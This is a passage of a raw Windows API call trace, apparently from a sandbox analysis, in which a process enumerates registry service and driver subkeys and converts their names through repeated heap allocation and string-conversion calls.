lpMultiByteStr=0x21f1a00, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0253.667] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.667] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0253.667] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0253.667] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1cd0, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0253.667] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.667] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0253.667] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0253.667] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1a00, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0253.667] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.667] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0253.667] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0253.667] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1cd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0253.667] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.667] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0253.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0253.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.668] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.668] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.668] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.668] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0253.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0253.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.668] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.668] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.668] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.668] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0253.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0253.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.668] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.668] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.668] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.668] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0253.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0253.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1cd0, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0253.669] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.669] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.669] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.669] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.669] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0253.669] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.669] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0253.669] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.669] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.669] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.669] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.669] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0253.669] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.669] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0253.669] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.669] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.669] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.669] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.669] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0253.669] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.669] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0253.669] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.669] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.669] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.669] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.670] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0253.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0253.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.670] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.670] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.670] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.670] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0253.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0253.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1a00, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0253.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.670] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.670] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.670] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.670] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0253.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0253.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.670] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.670] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.670] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.670] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0253.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0253.671] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.671] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0253.671] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.671] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0253.671] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.671] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0253.671] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.671] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0253.671] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.671] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0253.671] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.671] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0253.671] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.671] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0253.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0253.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.672] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0253.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0253.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.672] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0253.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0253.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.672] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x18, 